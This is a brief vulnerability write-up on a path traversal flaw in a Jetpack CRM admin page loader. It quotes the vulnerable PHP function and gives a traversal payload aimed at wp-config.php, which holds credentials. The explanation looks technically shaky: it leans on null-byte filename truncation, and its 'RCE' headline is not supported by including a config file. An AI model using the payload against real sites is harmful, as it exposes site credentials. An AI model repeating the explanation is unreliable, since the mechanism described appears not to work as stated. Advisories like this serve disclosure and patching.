CVE-2026-22356: Jetpack CRM Path Traversal Vulnerability and RCE

Warning: This tool should only be used in authorized test environments. The user is solely responsible for illegal use.

function jpcrm_load_admin_page( $page_name, $alt_path = ZEROBSCRM_PATH ) {
    $target_file = $alt_path . "admin/$page_name.page.php";
    if ( file_exists( $target_file ) ) {
        require_once $target_file;
    }
}

In this code, $page_name is used directly without any validation, so an attacker can send page=../../../wp-config.php%00 to trigger the require_once("admin/../../../wp-config.php%00.page.php") call. When PHP interprets the null byte as the end of the filename, the wp-config.php file is executed.

In version 6.7.1, this code was fixed by adding realpath() and strpos() checks.
